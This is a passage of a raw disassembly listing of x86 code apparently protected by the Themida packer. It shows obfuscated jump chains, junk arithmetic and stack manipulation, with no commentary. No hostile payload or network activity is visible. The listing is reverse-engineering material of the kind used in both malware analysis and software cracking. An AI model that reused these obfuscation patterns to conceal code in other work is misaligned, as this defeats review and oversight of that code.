loc_557FBE ; --------------------------------------------------------------------------- loc_55D139: ; CODE XREF: sub_559C84+1386j pop esp ror byte ptr [esp+46h+var_46], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- push [esp+4Ah+var_4A] mov eax, [esp+4Eh+var_4E] push 7530h mov [esp+52h+var_52], esi mov esi, esp add esi, 4 jmp loc_55AF06 ; --------------------------------------------------------------------------- loc_55D15E: ; CODE XREF: sub_559C84+1992j add esp, 4 add ebp, 4 push ebp push [esp+42h+var_3E] pop ebp jmp loc_55C934 ; --------------------------------------------------------------------------- loc_55D175: ; CODE XREF: sub_559C84+4D8Fj add eax, 4 xor eax, [esp+42h+var_42] xor [esp+42h+var_42], eax jmp loc_559735 ; --------------------------------------------------------------------------- loc_55D185: ; CODE XREF: sub_559C84-3F5Cj add ebx, ecx pop ecx mov eax, ebx mov ebx, [esp+4Eh+var_4E] add esp, 4 add edi, eax pop eax add edi, 4 xor edi, [esp+46h+var_46] xor [esp+46h+var_46], edi jmp loc_554B0C ; --------------------------------------------------------------------------- loc_55D1A7: ; CODE XREF: sub_559C84-3C6Bj mov ebx, [esp+46h+var_46] add esp, 4 loc_55D1AD: ; CODE XREF: sub_559C84-2830j push ebx jmp loc_554A95 ; --------------------------------------------------------------------------- loc_55D1B3: ; CODE XREF: Themida_:0055770Cj mov [esp+46h+var_46], ebx mov ebx, 145D4E27h shr ebx, 3 and ebx, 72525591h add ebx, 1 inc ebx sub ebx, 30B2684h add ebx, 0D314643h sub eax, ebx pop ebx add eax, 3366417Ch add eax, ebx sub eax, 3366417Ch jmp loc_55AF8E ; --------------------------------------------------------------------------- loc_55D1E8: ; CODE XREF: sub_559C84+1F31j mov cx, 3BC9h push eax mov ax, 7030h add ax, 6F29h inc ax sub ax, 0C004h or cx, ax pop eax jmp loc_55DF20 ; --------------------------------------------------------------------------- loc_55D204: ; CODE XREF: sub_559C84-3A75j add esp, 4 pop [esp-14h+arg_10] pop esp xor ebx, eax xor edx, eax jmp loc_55351F ; --------------------------------------------------------------------------- loc_55D217: ; CODE XREF: sub_559C84+3FB1j or ebp, 6ADE5EB4h sub ebp, 50F457EFh xor ebp, 674C315Ah shr ebp, 3 add ebp, 0F9232A57h sub edx, ebp pop ebp or edx, 2161069Ch and edx, 1C153FB4h xor edx, 68A97306h push edx add [esp-1Ch+arg_18], 0FA91779h pop esi sub esi, 0FA91779h mov edx, [esp-20h+arg_1C] add esp, 4 xor esi, 36E427E7h neg esi shl esi, 4 jmp loc_55CBAD ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp-28h+arg_24], eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55D27D: ; CODE XREF: sub_559C84+1C89j and eax, edi pop edi xor eax, 13D90AD5h mov ecx, eax pop eax shr ecx, 3 xor ecx, 589B03E3h jmp loc_55B731 ; --------------------------------------------------------------------------- loc_55D296: ; CODE XREF: sub_559C84-1655j and ecx, 372D6283h xor ecx, 60A156C1h jmp loc_55624A ; --------------------------------------------------------------------------- loc_55D2A7: ; CODE XREF: sub_559C84-53FFj push edx mov edx, 1C6F43ABh sub edi, edx jmp loc_55AEFE ; --------------------------------------------------------------------------- loc_55D2B4: ; CODE XREF: sub_559C84+4BF3j and ecx, 1E02139Fh jmp loc_55516C ; --------------------------------------------------------------------------- loc_55D2BF: ; CODE XREF: sub_559C84+5E78j push [esp+4Ch+var_4E+2] jmp loc_553E3F ; --------------------------------------------------------------------------- loc_55D2C7: ; CODE XREF: sub_559C84-5B57j and ebp, 2CEE371Fh xor ebp, 7B8148DCh add ebx, ebp pop ebp jmp loc_5581CD ; --------------------------------------------------------------------------- loc_55D2DB: ; CODE XREF: Themida_:00558112j mov ebp, eax jmp loc_55C961 ; --------------------------------------------------------------------------- loc_55D2E2: ; CODE XREF: Themida_:0055E17Bj sub eax, edx sub eax, 3D692111h pop edx jmp loc_559AD5 ; --------------------------------------------------------------------------- loc_55D2EF: ; CODE XREF: sub_559C84-5D02j mov [esp+6+var_8+2], ebx mov bl, 83h and cl, bl jmp loc_553A79 ; --------------------------------------------------------------------------- loc_55D2FB: ; CODE XREF: sub_559C84+381Bj inc dh inc dh push cx mov cl, 1Eh jmp loc_55550C ; --------------------------------------------------------------------------- loc_55D308: ; CODE XREF: sub_559C84+432j pop eax movzx eax, al push dword ptr [edi+eax*4] push 5EA4h mov [esp+46h+var_46], eax mov eax, 4E1B434Ch xor [esp+46h+var_42], eax mov eax, [esp+46h+var_46] add esp, 4 jmp loc_5558BD ; --------------------------------------------------------------------------- loc_55D32B: ; CODE XREF: Themida_:0055EA7Ej pop edi mov ecx, 32478ADDh sub ecx, 31552C01h jmp loc_555B1D ; --------------------------------------------------------------------------- loc_55D33C: ; CODE XREF: sub_559C84-2E8Bj mov ebx, ecx pop ecx add ebx, 616701h add ebx, edi sub ebx, 616701h jmp loc_559388 ; --------------------------------------------------------------------------- loc_55D352: ; CODE XREF: sub_559C84+392j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+6Ah+var_6A] pop esp jmp sub_55F389 ; --------------------------------------------------------------------------- loc_55D36A: ; CODE XREF: sub_559C84+7CBj pop eax jmp loc_554C5B ; --------------------------------------------------------------------------- loc_55D370: ; CODE XREF: sub_559C84+20EDj pop [esp+6Ah+var_6A] pop esp jmp loc_55D639 ; --------------------------------------------------------------------------- loc_55D379: ; CODE XREF: sub_559C84-64FFj add edi, offset loc_55699A shr edi, 3 dec edi not edi inc edi sub edi, 0C6005DDAh shr edi, 1 xor edi, 2E2D6DFCh add edi, 0EC36A24h sub edi, 0CA73F8F3h mov eax, edi jmp loc_55B263 ; --------------------------------------------------------------------------- loc_55D3A7: ; CODE XREF: Themida_:0055851Dj sub esp, 4 mov [esp+1Ch+var_1C], ecx push ebp xor [esp+20h+var_20], 1F6A57B0h pop ecx jmp loc_5537BB ; --------------------------------------------------------------------------- loc_55D3BB: ; CODE XREF: sub_559C84-1FC9j or edi, 719249F8h neg edi jmp loc_55B666 ; --------------------------------------------------------------------------- loc_55D3C8: ; CODE XREF: sub_559C84+4C07j push esp pop ebp sub esp, 4 mov [esp+6Ah+var_6A], eax mov eax, 6E994B17h inc eax add eax, 9166B4ECh jmp loc_555E68 ; --------------------------------------------------------------------------- loc_55D3E3: ; CODE XREF: sub_5589C1+6516j pop eax pop ebp push edx mov edx, esp jmp loc_556A84 ; --------------------------------------------------------------------------- loc_55D3ED: ; CODE XREF: sub_559C84-5679j push edi jmp loc_55A496 ; --------------------------------------------------------------------------- loc_55D3F3: ; CODE XREF: sub_559C84-4471j mov cx, word ptr [esp+30h+var_30] add esp, 2 push 17Fh mov [esp+30h+var_30], ebx mov ebx, esp push ebp mov ebp, 418463BBh sub ebp, 75377850h jmp loc_556EF6 ; --------------------------------------------------------------------------- loc_55D418: ; CODE XREF: sub_554D6A+9A71j push ecx mov ecx, esp push eax mov eax, 79E62DEDh shr eax, 5 xor eax, 52BB6457h add eax, 4D317BD2h push ecx mov ecx, 3CD020DDh jmp loc_5572EF ; --------------------------------------------------------------------------- mov eax, edi jmp loc_55E7E7 ; --------------------------------------------------------------------------- loc_55D440: ; CODE XREF: sub_559C84-DD7j add ebx, 4 sub ebx, 4 xchg ebx, [esp+4Ch+var_4E+2] mov esp, [esp+4Ch+var_4E+2] mov [esp+4Ch+var_4E+2], edx mov edx, 4387E6CFh add eax, 341C2381h add eax, edx sub eax, 341C2381h jmp loc_55F207 ; --------------------------------------------------------------------------- loc_55D46B: ; CODE XREF: sub_558BA2-50D8j pop edi jmp loc_55FAB3 ; --------------------------------------------------------------------------- loc_55D471: ; CODE XREF: sub_557AD1+1Aj pop esi add edi, ebx pop ebx sub esp, 4 mov [esp+44h+var_46+2], eax mov eax, 2 add edi, eax pop eax push 4346h mov [esp+44h+var_46+2], edi jmp loc_55F2AF ; --------------------------------------------------------------------------- loc_55D493: ; CODE XREF: sub_559C84-5DA0j mov edi, [esp+6+var_8+2] add esp, 4 jmp loc_55CB6B ; --------------------------------------------------------------------------- loc_55D49E: ; CODE XREF: sub_559C84+402Fj pop ecx jmp loc_55D2FB ; --------------------------------------------------------------------------- lodsb jmp loc_55DB67 ; --------------------------------------------------------------------------- loc_55D4AA: ; CODE XREF: sub_559C84+265Dj mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp+48h+var_4A+2] pop esp jmp loc_55E675 ; --------------------------------------------------------------------------- push [esp+44h+var_46+2] mov eax, [esp+48h+var_4A+2] push ebp mov ebp, esp push ecx mov ecx, 5CFA14E0h and ecx, 6D0737B4h jmp loc_55448F ; --------------------------------------------------------------------------- loc_55D4D5: ; CODE XREF: Themida_:0055817Cj shl esi, 6 sub esi, 1 jmp loc_558D71 ; --------------------------------------------------------------------------- loc_55D4E3: ; CODE XREF: sub_5558B3+5j push eax mov eax, 0B0E6C24Bh sub ebp, 76FD7F09h add ebp, eax jmp loc_55A21A ; --------------------------------------------------------------------------- loc_55D4F6: ; CODE XREF: sub_559C84-640Dj push edx mov edx, 7450121h mov esi, edx pop edx add ebx, esi pop esi jmp loc_5576F4 ; --------------------------------------------------------------------------- loc_55D507: ; CODE XREF: Themida_:005549F8j push ecx sub esp, 4 mov [esp+38h+var_3A+2], ebx mov bl, 0D7h add bl, 7Ah push cx mov cl, 33h add bl, cl jmp loc_55F940 ; --------------------------------------------------------------------------- loc_55D521: ; CODE XREF: sub_559C84-A6Fj xor ch, 39h sub ch, 0DDh jmp loc_555609 ; --------------------------------------------------------------------------- loc_55D52C: ; CODE XREF: sub_559C84+4F2j mov edx, 51F317FAh or edx, 523E028Eh add edx, 36253E33h add edx, 75DBA9D3h add ebp, edx pop edx add ebp, 4 push ebp push [esp+14h+var_10] mov ebp, [esp+18h+var_18] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+1Ch+var_1C] pop esp pop [esp+18h+var_18] pop esp xchg ebp, [esp+10h+var_10] mov esp, [esp+10h+var_10] jmp loc_5593A7 ; --------------------------------------------------------------------------- loc_55D573: ; CODE XREF: sub_559C84-33E3j mov esi, 76F46C62h mov ebp, esi mov esi, [esp-12h+arg_C+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-0Eh+arg_8+2] pop esp push 872h jmp loc_5557C0 ; --------------------------------------------------------------------------- loc_55D59A: ; CODE XREF: sub_559C84-2D03j mov eax, 4 add edx, 7E471D04h sub edx, eax sub edx, 7E471D04h jmp loc_555F84 ; --------------------------------------------------------------------------- loc_55D5B2: ; CODE XREF: sub_559C84+5472j sub eax, 60B74DF5h mov edx, [esp+14h+var_14] add esp, 4 push eax jmp loc_55E715 ; --------------------------------------------------------------------------- loc_55D5C6: ; CODE XREF: sub_559C84+3D54j add eax, 232E5611h pop edx jmp loc_55A5C8 ; --------------------------------------------------------------------------- loc_55D5D1: ; CODE XREF: sub_559C84-2DAFj pop esp mov [esp+14h+var_14], esi push 6C94h mov [esp+18h+var_18], esp jmp loc_556B93 ; --------------------------------------------------------------------------- loc_55D5E2: ; CODE XREF: Themida_:0055E967j pop ebx or eax, 661D5922h jmp loc_5545AD ; --------------------------------------------------------------------------- loc_55D5ED: ; CODE XREF: sub_559C84+5F8Ej mov ah, 0E2h add bl, ah jmp loc_559620 ; --------------------------------------------------------------------------- loc_55D5F6: ; CODE XREF: sub_559C84+2B58j not ch xor ch, 9Bh shr ch, 6 xor ch, al xor al, ch xor ch, al jmp loc_55F7E5 ; --------------------------------------------------------------------------- loc_55D609: ; CODE XREF: sub_559C84+60Cj mov [esp+14h+var_14], edi push esp jmp loc_55FB7D ; --------------------------------------------------------------------------- loc_55D612: ; CODE XREF: Themida_:005594EBj shr ebx, 7 jmp sub_555C35 ; --------------------------------------------------------------------------- loc_55D61A: ; CODE XREF: sub_559C84-4814j add esi, ecx add esi, 6B736177h jmp loc_55475B ; --------------------------------------------------------------------------- loc_55D627: ; CODE XREF: sub_559C84+5882j or dl, ch pop ecx push 0DF9h jmp loc_5538CF ; --------------------------------------------------------------------------- loc_55D634: ; CODE XREF: Themida_:00554A82j jmp loc_55351F ; --------------------------------------------------------------------------- loc_55D639: ; CODE XREF: sub_559C84+36F0j push [esp+62h+var_64+2] push dword ptr [esp+0] mov edx, [esp+6Ah+var_6A] add esp, 4 push ebx mov ebx, esp sub esp, 4 jmp loc_5572DE ; --------------------------------------------------------------------------- loc_55D656: ; CODE XREF: sub_559C84-56B4j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+38h+var_3A+2] pop esp push 461Ch mov [esp+38h+var_3A+2], esi mov esi, esp push edx mov edx, 643A4925h and edx, 6F107CFFh not edx jmp loc_55846D ; --------------------------------------------------------------------------- loc_55D683: ; CODE XREF: sub_559C84-3D9Ej push ebx mov ebx, 5C65623Ch add [esp+56h+var_52], ebx pop ebx jmp loc_55ACA0 ; --------------------------------------------------------------------------- loc_55D693: ; CODE XREF: sub_559C84-3A35j add esp, 4 jmp loc_557311 ; --------------------------------------------------------------------------- loc_55D69B: ; CODE XREF: sub_558204+Aj pop ebx sub [edi+24h], edx jmp loc_5574F7 ; --------------------------------------------------------------------------- loc_55D6A4: ; CODE XREF: sub_559C84+4BADj mov bl, 0D8h shr bl, 1 jmp loc_55A394 ; --------------------------------------------------------------------------- loc_55D6AD: ; CODE XREF: sub_559C84+1089j mov esp, [esp+38h+var_3A+2] test cx, ax pushf jmp loc_55585D ; --------------------------------------------------------------------------- loc_55D6B9: ; CODE XREF: sub_559C84+26E0j pop esp jmp loc_55351F ; --------------------------------------------------------------------------- loc_55D6BF: ; CODE XREF: Themida_:0055FB0Fj add ebp, edx sub ebp, 3BB1784Bh pop edx add ebp, 4 xor ebp, [esp-0Ah+arg_4+2] jmp loc_558169 ; --------------------------------------------------------------------------- loc_55D6D6: ; CODE XREF: Themida_:0055573Fj add edi, eax pop eax push eax mov eax, 4 sub esp, 4 mov [esp-6+arg_0+2], eax mov eax, 3B010A8Fh add edi, eax pop eax add edi, eax sub edi, 3B010A8Fh jmp loc_55B7EE ; --------------------------------------------------------------------------- push [esp-0Ah+arg_4+2] mov eax, [esp-6+arg_0+2] add esp, 4 jmp loc_55EE33 ; --------------------------------------------------------------------------- loc_55D70B: ; CODE XREF: sub_559C84+5B65j add ch, 1 push 435Bh mov [esp-6+arg_0+2], ebx push eax mov ah, 6Dh mov bl, ah pop eax push ecx mov ch, 0D0h add bl, ch pop ecx jmp loc_5537F3 ; --------------------------------------------------------------------------- loc_55D727: ; CODE XREF: sub_559C84+3ED3j add eax, ecx add eax, 70AB6DC5h mov ecx, [esp-6+arg_0+2] add esp, 4 sub edi, 274C6E9Ah add edi, eax jmp loc_55655B ; --------------------------------------------------------------------------- loc_55D741: ; CODE XREF: sub_559C84-B28j neg esi jmp loc_557E20 ; --------------------------------------------------------------------------- loc_55D748: ; CODE XREF: sub_559C84+564j push edx push ebx jmp loc_55A8FA ; --------------------------------------------------------------------------- loc_55D74F: ; CODE XREF: sub_559C84-5366j mov dh, 5Fh jmp loc_5558D4 ; --------------------------------------------------------------------------- loc_55D756: ; CODE XREF: sub_559C84+24B5j mov eax, 3D71017Dh shr eax, 7 not eax xor eax, 1EB46DB4h xor eax, 11B66401h shr eax, 7 push ebp mov ebp, 14555A83h jmp loc_55F92C ; --------------------------------------------------------------------------- loc_55D778: ; CODE XREF: sub_559C84+2A93j add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-16h+arg_10+2] jmp loc_554AA0 ; --------------------------------------------------------------------------- loc_55D792: ; CODE XREF: sub_559C84-291j add ebp, 4 xchg ebp, [esp-10h+arg_C] pop esp push ecx mov ecx, esp add ecx, 4 push edx jmp loc_553BF7 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-0Ch+arg_8] sub esp, 4 jmp loc_556870 ; --------------------------------------------------------------------------- loc_55D7B7: ; CODE XREF: sub_559C84+4D50j mov esi, esp jmp sub_55590A ; --------------------------------------------------------------------------- loc_55D7BE: ; CODE XREF: sub_559C84-215Fj inc edi shr edi, 1 sub edi, 0E7C40DDFh mov ebp, edi pop edi jmp loc_55E006 ; --------------------------------------------------------------------------- loc_55D7CF: ; CODE XREF: sub_559C84+2215j sub edx, 4 xchg edx, [esp+40h+var_42+2] pop esp jmp loc_553CA4 ; --------------------------------------------------------------------------- loc_55D7DE: ; CODE XREF: sub_559C84-819j sub ebx, 0F4B12A1h pop edx add ebx, 2 xchg ebx, [esp+48h+var_4A+2] mov esp, [esp+48h+var_4A+2] ror [esp+48h+var_4A+2], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55D7F7: ; CODE XREF: sub_559C84+B4Fj xor ch, 0E5h mov al, ch pop ecx mov dh, al jmp loc_55C957 ; --------------------------------------------------------------------------- loc_55D804: ; CODE XREF: sub_559C84+3E37j add esi, 279C65DAh mov ebx, [esp-22h+arg_1C+2] jmp loc_55BD65 ; --------------------------------------------------------------------------- loc_55D812: ; CODE XREF: sub_559C84-4C27j add esi, 8A4F15h pop ebp add esi, 2 xchg esi, [esp+42h+var_42] pop esp push ebx push ecx mov ch, dl jmp loc_55CF4E ; --------------------------------------------------------------------------- loc_55D82C: ; CODE XREF: Themida_:00558C2Ej mov [esp+46h+var_46], ecx mov ecx, 2 add ebx, ecx jmp loc_55B571 ; --------------------------------------------------------------------------- loc_55D83B: ; CODE XREF: sub_559C84-2AA5j sub ebx, 127C0436h pop ebp jmp loc_558D03 ; --------------------------------------------------------------------------- loc_55D847: ; CODE XREF: sub_559C84+2828j push ebp not dword ptr [esp+0] pop ebp shr ebp, 8 neg ebp push esi mov esi, 652D00A9h shr esi, 1 shl esi, 8 dec esi jmp loc_55EB35 ; --------------------------------------------------------------------------- loc_55D862: ; CODE XREF: sub_559C84+4CEEj shl cl, 2 and cl, 30h shl cl, 2 push eax mov ah, 0D4h add ah, 0A2h sub cl, ah pop eax add bl, 17h sub bl, cl sub bl, 17h mov ecx, [esp+0] jmp loc_55F2E5 ; --------------------------------------------------------------------------- loc_55D884: ; CODE XREF: sub_559C84+4FCCj pop esp add esi, edi pop edi push esi push [esp+32h+var_30+2] pop esi pop [esp+32h+var_34+2] pop esp rol [esp+2Ah+var_2C+2], cl pushf jmp loc_55CF60 ; --------------------------------------------------------------------------- loc_55D89B: ; CODE XREF: sub_559C84-2699j inc edi sub edi, 9D33DABh push edi push edi mov edi, 340F179Eh add [esp+50h+var_4E+2], edi pop edi push [esp+4Ch+var_4E+2] pop eax add esp, 4 push ebp mov ebp, 340F179Eh sub eax, ebp pop ebp pop edi xor eax, 678615A5h sub esp, 4 jmp loc_555818 ; --------------------------------------------------------------------------- loc_55D8CF: ; DATA XREF: Themida_:00553474o lodsd xor eax, ebx push ecx sub esp, 4 mov [esp+50h+var_52+2], edx push 58014318h push dword ptr [esp+0] pop edx add esp, 4 neg edx push eax mov eax, 4FE06BD3h and edx, eax pop eax push ebp jmp loc_559C3F ; --------------------------------------------------------------------------- loc_55D8FC: ; CODE XREF: sub_559C84-4C8j sub edi, 101D87C9h sub edx, edi mov edi, [esp+4Ah+var_4A] add esp, 4 mov ecx, edx pop edx jmp loc_558EA0 ; --------------------------------------------------------------------------- loc_55D912: ; CODE XREF: sub_55E342-6812j push ecx mov ecx, 35F1145Ch xor ecx, 28945C75h jmp loc_55F768 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+46h+var_46] push 1728h jmp loc_55EADE ; --------------------------------------------------------------------------- loc_55D931: ; CODE XREF: sub_559C84-47CDj mov [esp+44h+var_46+2], edx mov edx, 4F2E3DABh push ebp jmp loc_55C93C ; --------------------------------------------------------------------------- loc_55D93F: ; CODE XREF: sub_559C84+3296j push dword ptr [esp+0] pop edx add esp, 4 push 1E2Bh mov [esp+0], ecx mov ecx, 5E817A03h push ebp mov ebp, 4B37ABDh or ecx, ebp pop ebp dec ecx sub ecx, 0FF80328Fh jmp loc_55F35E ; --------------------------------------------------------------------------- loc_55D96B: ; CODE XREF: Themida_:0055E4F1j mov cl, 0EEh neg cl sub cl, 0E1h jmp loc_55E82D ; --------------------------------------------------------------------------- loc_55D977: ; CODE XREF: sub_559C84+6B3j pop edx add edx, 4 push ecx mov ecx, 4 add edx, ecx mov ecx, [esp+4Ch+var_4E+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+50h+var_52+2] jmp loc_55A348 ; --------------------------------------------------------------------------- loc_55D99D: ; CODE XREF: sub_559C84+20D1j mov edi, [esp+62h+var_64+2] add esp, 4 mov eax, [esp+5Eh+var_60+2] add esp, 4 sub eax, 0DF10B35h push ebx mov ebx, 768309EAh add ebx, 54A70E5Fh jmp loc_557C5E ; --------------------------------------------------------------------------- loc_55D9C5: ; DATA XREF: Themida_:00553288o push [esp+5Eh+var_60+2] pop edx jmp loc_55A28B ; --------------------------------------------------------------------------- loc_55D9CE: ; CODE XREF: sub_55F673+6j add edx, ebp pop ebp sub eax, 232E5611h add eax, edx jmp loc_55D5C6 ; --------------------------------------------------------------------------- loc_55D9DD: ; CODE XREF: sub_55E48F+5j sub esp, 4 push esp pop [esp+62h+var_64+2] jmp loc_55DBAB ; --------------------------------------------------------------------------- loc_55D9EC: ; CODE XREF: sub_559C84-3077j xor cl, 44h add bl, cl pop ecx push small 4A81h mov word ptr [esp+48h+var_4A+2], ax push ecx mov ch, 0AEh push edx jmp loc_55B56A ; --------------------------------------------------------------------------- loc_55DA03: ; CODE XREF: sub_559C84-5FFCj movzx eax, al lea eax, [edi+eax*4] push 1C2Ah mov [esp+24h+var_24], edi mov edi, esp push esi mov esi, 18740802h jmp loc_55F218 ; --------------------------------------------------------------------------- loc_55DA1E: ; CODE XREF: Themida_:005545DFj add esp, 2 xor word ptr [esp+24h+var_24], dx xor dx, word ptr [esp+24h+var_24] jmp loc_55AB10 ; --------------------------------------------------------------------------- loc_55DA2E: ; CODE XREF: sub_559C84+5EC5j pop [esp+24h+var_24] pop esp xor al, dl pop edx sub bl, 0EEh jmp loc_556AAB ; --------------------------------------------------------------------------- loc_55DA3D: ; CODE XREF: sub_559C84-1E1Fj pop esi add ebx, 2A2655ABh jmp loc_5548B6 ; --------------------------------------------------------------------------- push [esp-0Eh+arg_8+2] jmp loc_5583CC ; --------------------------------------------------------------------------- loc_55DA51: ; CODE XREF: sub_559C84-2EE2j push [esp+40h+var_42+2] pop eax jmp loc_55AA82 ; --------------------------------------------------------------------------- loc_55DA5A: ; CODE XREF: sub_559C84-20BCj push ecx mov ch, 94h jmp loc_558105 ; --------------------------------------------------------------------------- loc_55DA62: ; CODE XREF: sub_559C84-3946j mov edx, esp push ebp mov ebp, 552F6EA1h jmp loc_55B6C6 ; --------------------------------------------------------------------------- loc_55DA6F: ; CODE XREF: sub_559C84-3E95j push 13BEh mov [esp+6Ah+var_6A], ebx push edx mov ebx, [esp+6Eh+var_70+2] add esp, 4 mov edx, [esp+6Ah+var_6A] add esp, 4 push ebx jmp loc_55E162 ; --------------------------------------------------------------------------- loc_55DA90: ; CODE XREF: sub_559C84-447j pop esp jmp loc_55351F ; --------------------------------------------------------------------------- loc_55DA96: ; CODE XREF: sub_559C84+1725j add edx, esi jmp loc_557D79 ; --------------------------------------------------------------------------- loc_55DA9D: ; CODE XREF: sub_559C84+5F10j add esi, 4 jmp loc_555B58 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_55A1ED ; --------------------------------------------------------------------------- loc_55DAB0: ; CODE XREF: sub_559C84+9D7j sub edx, 985359A4h sub esi, edx pop edx add esi, ebx jmp loc_55D804 ; --------------------------------------------------------------------------- loc_55DAC0: ; CODE XREF: Themida_:005541B3j sub esp, 4 mov [esp+4Ch+var_4E+2], eax jmp loc_558057 ; --------------------------------------------------------------------------- loc_55DACE: ; CODE XREF: sub_55FA73-B2E8j push ecx mov ecx, 389D4E0Bh mov edi, 260C153Fh jmp loc_5599C6 ; --------------------------------------------------------------------------- loc_55DADE: ; CODE XREF: sub_559C84-48FBj add esi, 4 jmp loc_5540EB ; --------------------------------------------------------------------------- loc_55DAE9: ; CODE XREF: sub_559C84-3754j xor ecx, [esp+50h+var_52+2] xor [esp+50h+var_52+2], ecx xor ecx, [esp+50h+var_52+2] pop esp push 5221h mov [esp+50h+var_52+2], ebx push 2FEE7CB6h pop ebx jmp loc_557BEF ; --------------------------------------------------------------------------- loc_55DB06: ; CODE XREF: sub_559C84-6273j pop esp jmp loc_55825D ; --------------------------------------------------------------------------- mov ax, word ptr [esp+4Ah+var_4A] push 2356h mov [esp+4Eh+var_4E], eax mov eax, esp push esi push edi mov edi, 404C180Ah mov esi, edi jmp loc_55BC53 ; --------------------------------------------------------------------------- loc_55DB28: ; CODE XREF: sub_559C84+1C75j sub ebp, esi jmp loc_55832E ; --------------------------------------------------------------------------- loc_55DB2F: ; CODE XREF: sub_559C84+27CBj push 6889h mov [esp+0], edi push esi push 39D449D3h jmp loc_5556DF sub_559C84 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DB42: ; CODE XREF: sub_559C84-504Fj mov ebx, 4 jmp loc_557399 ; --------------------------------------------------------------------------- loc_55DB4C: ; CODE XREF: sub_559C84+2383j xor ecx, 0A43739D1h sub eax, 70AB6DC5h jmp loc_55D727 ; --------------------------------------------------------------------------- loc_55DB5C: ; CODE XREF: sub_559C84+5F9j add edx, 28656DD1h jmp loc_5579B2 ; --------------------------------------------------------------------------- loc_55DB67: ; CODE XREF: sub_559C84+3821j sub al, 1Ah jmp loc_5584DA ; --------------------------------------------------------------------------- loc_55DB6E: ; CODE XREF: sub_559C84-B1j push ecx push edi mov edi, 51F12702h mov ecx, 51F12703h sub ecx, edi jmp loc_55A9F0 ; --------------------------------------------------------------------------- loc_55DB81: ; CODE XREF: sub_559C84+5B7Bj shr eax, 6 sub eax, 10FC4BBh mov edi, eax pop eax sub edx, 31517578h add edx, edi add edx, 31517578h mov edi, [esp+30h+var_30] add esp, 4 xchg edx, [esp+2Ch+var_2C] jmp loc_55545B ; --------------------------------------------------------------------------- loc_55DBAB: ; CODE XREF: sub_559C84+3D63j add [esp+5Eh+var_60+2], 4 pop ecx push 79CFh mov [esp+5Eh+var_60+2], ebx sub esp, 4 mov [esp+62h+var_64+2], ecx push ebx mov ebx, 64F1FB4h inc ebx xor ebx, 31AB3828h sub ebx, 27E713BDh jmp loc_55C371 ; --------------------------------------------------------------------------- loc_55DBD6: ; CODE XREF: sub_559C84-42FEj add esp, 4 and eax, ebp mov ebp, [esp-1Ch+arg_18] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-18h+arg_14] jmp loc_557F85 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_55DBF3 proc near ; CODE XREF: sub_559C84-3895j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00557A2F SIZE 00000017 BYTES push ebp mov ebp, esp jmp loc_557A2F sub_55DBF3 endp ; =============== S U B R O U T I N E ======================================= sub_55DBFB proc near ; DATA XREF: Themida_:0055347Co var_4 = dword ptr -4 push dword ptr [esp+0] push [esp+4+var_4] pop eax push edx mov edx, esp jmp loc_55BAAE sub_55DBFB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DC0A: ; CODE XREF: sub_559C84-3630j add eax, 55DA3425h jmp loc_554F9E ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55DC14 proc near ; CODE XREF: sub_559C84-747j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00553F56 SIZE 00000025 BYTES sub esp, 4 mov [esp+4+var_4], ecx jmp loc_553F56 sub_55DC14 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DC22: ; CODE XREF: sub_559C84-396Cj cmp cx, ax pushf jmp loc_554E7D ; --------------------------------------------------------------------------- loc_55DC2B: ; CODE XREF: sub_559C84-1A3j not edx push ebp mov ebp, 15A7A9Bh neg ebp jmp loc_55D217 ; --------------------------------------------------------------------------- loc_55DC3A: ; CODE XREF: sub_559C84+50AAj mov [esp+48h+var_4A+2], ecx jmp loc_558DE4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555D07 loc_55DC42: ; CODE XREF: sub_555D07+Dj mov [esp+4+var_4], esi push 6704h mov [esp+8+var_8], ebx mov ebx, 3D653C54h mov esi, 3D653C50h xor esi, ebx jmp loc_5586E7 ; END OF FUNCTION CHUNK FOR sub_555D07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DC5E: ; CODE XREF: sub_559C84+19A6j push 0FFFFFFFFh mov ebx, [esp+0Eh+var_10+2] jmp loc_555399 ; --------------------------------------------------------------------------- loc_55DC6B: ; CODE XREF: sub_559C84-4F60j pop eax shr bl, 1 inc bl jmp loc_55CF99 ; --------------------------------------------------------------------------- loc_55DC75: ; CODE XREF: sub_559C84-1D2Aj pop ebx push esi push [esp+40h+var_3E+2] pop esi jmp loc_553D3F ; --------------------------------------------------------------------------- loc_55DC81: ; CODE XREF: sub_559C84+D4j mov edi, 692C6D09h add esi, 7AE4006h add esi, edi sub esi, 7AE4006h pop edi sub ebp, esi pop esi jmp loc_555599 ; --------------------------------------------------------------------------- loc_55DC9D: ; CODE XREF: sub_559C84+284Aj add esp, 4 push edi jmp loc_55BD03 ; --------------------------------------------------------------------------- loc_55DCA9: ; CODE XREF: sub_559C84+5DEAj not ch sub ch, 68h add ch, 4Ah mov dh, ch jmp loc_55D49E ; --------------------------------------------------------------------------- loc_55DCB8: ; CODE XREF: sub_559C84+1560j pop ebp mov [edi+20h], 